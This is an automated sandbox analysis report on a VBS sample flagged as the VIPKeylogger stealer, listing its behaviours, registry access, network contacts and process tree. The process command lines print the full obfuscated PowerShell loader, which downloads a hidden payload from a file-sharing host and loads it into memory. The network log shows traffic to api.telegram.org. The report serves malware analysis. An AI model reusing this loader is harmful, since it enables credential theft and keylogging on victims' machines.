Analysis Overview
SHA256
64c7c1b70a135415a835bb48c638ca47db929b1df28bb62aaacd9cdcac76553b
Threat Level: Known bad
The file INQ02010391.vbs was found to be: Known bad.
Malicious Activity Summary
Vipkeylogger family
VIPKeylogger
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Checks computer location settings
Looks up external IP address via web service
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
Enumerates physical storage devices
Browser Information Discovery
System Location Discovery: System Language Discovery
outlook_office_path
Suspicious use of WriteProcessMemory
outlook_win_path
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-14 18:49
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-14 18:49
Reported
2024-11-14 18:52
Platform
win7-20240903-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3028 wrote to memory of 3060 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3028 wrote to memory of 3060 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3028 wrote to memory of 3060 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3060 wrote to memory of 2712 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3060 wrote to memory of 2712 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3060 wrote to memory of 2712 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
Files
memory/3060-4-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmp
memory/3060-6-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
memory/3060-5-0x000000001B5B0000-0x000000001B892000-memory.dmp
memory/3060-7-0x00000000022D0000-0x00000000022D8000-memory.dmp
memory/3060-8-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
memory/3060-9-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
memory/3060-10-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
memory/3060-11-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\319T8WWZJSK8EGVR5HRA.temp
| MD5 | 5519cd20607bfa2949fbaa6d6a18c20f |
| SHA1 | 586662e7b906c9c9bf8af27d443d2e3b67ef0820 |
| SHA256 | 147ec05c49f15f96b636077a8a3ac2efd5e798f6046e6b5f43a4947030086445 |
| SHA512 | 1c93e937ee2cca24dcf3d85eff5c89cc63579690f6e0c8cd4f3a610e6c3f72a9c4e2ab9f2795584443139aae484b11eea64d140de2502c3fdf5670e2973fb0db |
memory/3060-17-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmp
memory/3060-18-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-14 18:49
Reported
2024-11-14 18:52
Platform
win10v2004-20241007-en
Max time kernel
138s
Max time network
139s
Command Line
Signatures
VIPKeylogger
Vipkeylogger family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4760 set thread context of 2024 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe |
Browser Information Discovery
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 78.209.215.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pub-4c182737706e41d29aee6cc5517f834d.r2.dev | udp |
| US | 162.159.140.237:443 | pub-4c182737706e41d29aee6cc5517f834d.r2.dev | tcp |
| US | 8.8.8.8:53 | 237.140.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| JP | 132.226.8.169:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 169.8.226.132.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 172.67.177.134:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 134.177.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
Files
memory/1520-0-0x00007FFBB5143000-0x00007FFBB5145000-memory.dmp
memory/1520-1-0x000001EBF8640000-0x000001EBF8662000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dhc1pvgv.wh4.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1520-11-0x00007FFBB5140000-0x00007FFBB5C01000-memory.dmp
memory/1520-12-0x00007FFBB5140000-0x00007FFBB5C01000-memory.dmp
memory/1520-22-0x00007FFBB5143000-0x00007FFBB5145000-memory.dmp
memory/1520-23-0x00007FFBB5140000-0x00007FFBB5C01000-memory.dmp
memory/4760-24-0x000002767DC90000-0x000002767DDE8000-memory.dmp
memory/2024-25-0x0000000000400000-0x0000000000448000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | f41839a3fe2888c8b3050197bc9a0a05 |
| SHA1 | 0798941aaf7a53a11ea9ed589752890aee069729 |
| SHA256 | 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a |
| SHA512 | 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699 |
memory/1520-31-0x00007FFBB5140000-0x00007FFBB5C01000-memory.dmp
memory/2024-32-0x00000000052A0000-0x0000000005844000-memory.dmp
memory/2024-33-0x0000000004DD0000-0x0000000004E6C000-memory.dmp
memory/2024-34-0x00000000062A0000-0x0000000006462000-memory.dmp
memory/2024-35-0x0000000006120000-0x0000000006170000-memory.dmp
memory/2024-36-0x0000000006470000-0x0000000006502000-memory.dmp
memory/2024-37-0x0000000006560000-0x000000000656A000-memory.dmp